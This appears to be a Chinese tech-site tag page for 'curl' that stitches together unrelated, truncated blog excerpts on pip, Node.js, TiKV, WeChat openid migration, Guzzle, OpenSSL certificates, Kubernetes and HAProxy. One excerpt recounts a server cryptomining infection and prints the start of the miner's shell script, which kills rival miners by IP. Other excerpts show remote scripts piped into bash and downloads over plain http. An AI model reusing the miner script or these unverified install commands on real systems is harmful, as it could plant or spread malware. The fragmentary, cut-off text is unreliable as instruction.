curl

源码安装： $ curl -O https://pypi.python.org/packages/source/p/pip/pip-X.X.tar.gz $ tar xvfz pip-X.X.tar.gz $ cd pip-X.X $ python setup.py install 但是安装过程可能会出现错误： An error occurred while trying to run get-pip.py. Make sure you have setuptools or distribute installed. 出现这个错误，说明首先要安装setuptools setuptools 安装： wget -q http://peak.telecommunity.com/dist/ez_setup.py python ez_setup.py 大家在安装的时候会出现一些问题，小编给大家整理了关于“ Python pip安装模块提示错误解决方案 ” 到此这篇关于python小白学习包管理器pip安装的文章就介绍到这了,更多相关python包管理器pip安装内容请搜索以前的文章或继续浏览下面的相关文章希望大家以后多多支持！ 来源： oschina 链接： https://my.oschina.net/u/4415723/blog/4336061

作者：我叫刘半仙 https://my.oschina.net/liughDevelop/blog/1786631 线上服务器用的是某云的，欢快的完美运行着Tomcat，MySQL，MongoDB，ActiveMQ等程序。突然一则噩耗从前线传来： 网站不能访问了！ 此项目是我负责，我以150+的手速立即打开了服务器，看到Tomcat挂了，然后顺其自然的重启，启动过程中直接被killed，再试试数据库，同样没成功 多次尝试甚至重启机器无果。机智的我打了个top，出现以下内容： 这是谁运行的程序？ 不管三七二十一先杀掉再说，因为它就是Tomcat等程序启动不了的元凶。然而并没有什么卵用，过一会再看那个东西又跑出来占cpu。推荐阅读： Linux 最常用命令整理，建议收藏 。 怀疑是个定时任务： 什么鬼，是个图片？立即访问了一下： 好尴尬，但是心思细腻的我早知道没这么简单，肯定只是伪装，curl过去是下面的脚本，过程就是在挖矿： #!/bin/sh pkill -9 142.4.124.164 pkill -9 192.99.56.117 pkill -9 jva pkill -f ./atd pkill -f /tmp/wa/httpd.conf pkill -f 108.61.186.224 pkill -f 128.199.86.57 pkill -f 67.231.243.10

centos7.7环境安装nodejs8 nodejs的yum安装部署 [root@iZbp16v1zpi82lbf50mlnxZ ~]# curl -sL https://rpm.nodesource.com/setup_8.x | bash - ## Installing the NodeSource Node.js 8.x LTS Carbon repo... ## Inspecting system... + rpm -q --whatprovides redhat-release || rpm -q --whatprovides centos-release || rpm -q --whatprovides cloudlinux-release || rpm -q --whatprovides sl-release + uname -m ## Confirming "el7-x86_64" is supported... + curl -sLf -o /dev/null 'https://rpm.nodesource.com/pub_8.x/el/7/x86_64/nodesource-release-el7-1.noarch.rpm' ## Downloading release setup RPM... + mktemp + curl -sL -o '/tmp/tmp

1、大概情况 在asktom的论坛里面，看到有人提问：一个tikv节点磁盘坏了，现在是down状态，tikv.log里面不停写入太多关于这个节点访问不了的日志信息，占据大量磁盘，她的处理方式如下： a、根据ip地址，找到这个节点的store id b、用store delete，来让这个节点处于offline状态，之后快速变成Tombstone状态，他就可以下掉这个节点了。 c、intenvry.ini文件里面，去掉这个节点的ip配置信息。 d、找厂商修复这个节点磁盘，厂商修复后，发现磁盘文件彻底损坏，换了个新的盘给她。 这样的处理后，他发现这个tikv节点，还是加入不了tidb集群，一直处于offline状态，tikv.log日志不停写入，这个的情况该怎么处理呢？根据各位网友的回复和解决过程，整理如下： 2、解决思路 这个节点上的数据已经丢失了，但是集群的数据还在，因为是三副本，所以只要在集群里面下掉这个tikv节点，然后按照添加新节点的方式，加入这个tikv节点，让tidb集群自动补数据进来就可以了。 3、解决方案 a、强行设置tikv节点为tombstone状态 登录pd的server节点，在业务低峰期执行下 tombstone 命令，curl -X POST 'http://{pd_ip}:{pd_port}/pd/api/v1/store/{store_id}/state

　　今天一个两年前做的公众号项目 要更改主体，随之而来的是公众号的迁移。 公众号迁移后关注的粉丝也会对应的进行迁移，还会给粉丝发送相关通知。 　　大体流程如下图 　　迁移的具体步骤我就不细说了。今天主要说的是 迁移主体后 对应的用户openid也会变化，也就是说你的程序如果公众号登录是以微信openid为唯一标识的话， 那你的用户系统经过一次公众号变更后就会出现问题。 老用户再次授权后 系统可能认为是新用户，而且通过原来的openid 也无法推送模板消息等功能。 　　微信方面当然也考虑到了相关问题 。给出了相关的接口去处理这个问题，这就是今天说的openid转换接口 。 　　相关内容如下 　　 openid转换接口 账号迁移后，粉丝的 openid 会变化， 微信用户关注不同的公众号，对应的openid是不一样的，迁移成功后，粉丝的openid以目标帐号（即新公众号）对应的OpenID为准。但开发者可以通过开发接口转换openid，开发文档可以参考： 提供一个openid转换的API接口，当帐号迁移后，可以通过该接口： 1. 将原帐号粉丝的openid转换为新帐号的openid。 2. 将有授权关系用户的openid转换为新帐号的openid。 3. 将卡券关联用户的openid转换为新帐号的openid。 ◆ 原帐号：准备要迁移的帐号，当审核完成且管理员确认后即被回收。 ◆

Guzzle 介绍 Guzzle 是一款简单、易用的 PHP HTTP 客户端。 它可以快速的集成到 WEB 项目中，帮助我们非常方便的发送 HTTP 请求。 Guzzle 特点 接口简单 支持使用 curl,PHP streams,sockets等各种方式。 支持同步和异步请求 遵循 PSR7 规范，可以集成其他的符合 psr7 规范的类库，自定义处理逻辑 安装 使用 composer 安装，非常方便 composer require --prefer-dist guzzlehttp/guzzle 快速入门 1.初始化客户端 use GuzzleHttp \ Client ; options = [ 'base_uri' => 'http://guzzle.testhttp.com' , 'connect_timeout' => 1 , 'timeout' => 3 , ]; $client = new Client($options); 2.发送body请求 $client->request( 'POST' , '/post' , [ 'body' => 'this is post body' ]); 3.发送表单请求 $client->request( 'POST' , '/post' , [ 'form_params' => [ 'user_id' => 1 , 'user

前言 在HTTPS数据传输的过程中，需要用SSL/TLS对数据进行加密和解密，以保证网络传输过程中数据的机密性。HTTPS协议可以大致分为两个部分：其一是协商密钥，首先当Client向Web Server发起请求时，Web Server向Client返回一个包含Server端公钥的证书，然后Client验证该证书的合法性并生成一个随机密钥，接着使用该证书对生成的随机密钥进行非对称加密后发送回Web Server，最后Web Server使用私钥进行解密后获取Client生成的随机密钥；其二是加密通信，Web Server与Client端采用随机密钥进行对称加解密进行通信。HTTPS通信流程图如下，引用于 Leon_hy的博客 。证书一般由第三方CA进行签发，自签证书将不被浏览器信任，会弹出连接不安全的小窗。本文介绍了Ubuntu 18.04使用OpenSSL自建CA且签发证书的流程，并成功获取谷歌等浏览器的信任。 环境准备 1. OpenSSL依赖安装 $ sudo apt-get install -y openssl libssl-dev 2. 创建证书保存目录及相关文件 需要注意的是，以下除了certificate文件夹外，命名必须与/usr/local/ssl/openssl.cnf中的对应名称保持一致，以下均采用默认值 $ cd ~ $ mkdir certificate

在 Kubernetes 中有几种不同的方式发布应用，所以为了让应用在升级期间依然平稳提供服务，选择一个正确的发布策略就非常重要了。 选择正确的部署策略是要依赖于我们的业务需求的，下面我们列出了一些可能会使用到的策略： 重建(recreate)：停止旧版本部署新版本 滚动更新(rolling-update)：一个接一个地以滚动更新方式发布新版本 蓝绿(blue/green)：新版本与旧版本一起存在，然后切换流量 金丝雀(canary)：将新版本面向一部分用户发布，然后继续全量发布 A/B测(a/b testing)：以精确的方式（HTTP 头、cookie、权重等）向部分用户发布新版本。 A/B测 实际上是一种基于数据统计做出业务决策的技术。在 Kubernetes 中并不原生支持，需要额外的一些高级组件来完成改设置（比如Istio、Linkerd、Traefik、或者自定义 Nginx/Haproxy 等）。 你可以在 Kubernetes 集群上来对上面的这些策略进行测试，下面的仓库中有需要使用到的资源清单： https://github.com/ContainerSolutions/k8s-deployment-strategies 接下来我们来介绍下每种策略，看看在什么场景下面适合哪种策略。 重建(Recreate) - 最好在开发环境 策略定义为 Recreate 的

记一次解决curl https证书问题 参考文章： （1）记一次解决curl https证书问题 （2）https://www.cnblogs.com/xuxinkun/p/5417836.html 备忘一下。 来源： oschina 链接： https://my.oschina.net/stackoom/blog/4659227

HAProxy 高级应用 ================================================================================ 概述： 本章将继续上章的内容介绍haprosy代理配置段的相关参数，具体如下： ACL控制访问列表； 4层检测机制： dst，dst_port，src，src_port 7层检查机制：path、req.hdr、res.hdr； http层访问控制相关的参数： block，http-request TCP层的访问控制参数 ================================================================================ 10.修改请求或响应报文首部相关： ★ option forwardfor [ except <network> ] [ header <name> ] [ if-none ] ⊙ 作用： AProxy把请求报文发往后端主机之前在请求报文添加“X-Forwared-For”首部；其值为客户端地址， ⊙ 范围： 都可以使用 ⊙ 参数： [ except <network> ]： 除了xxx不添加外，如从本地访问 [ header <name> ] ： 可以自定义首部名称； [ if-none ]： 没有首部时才添加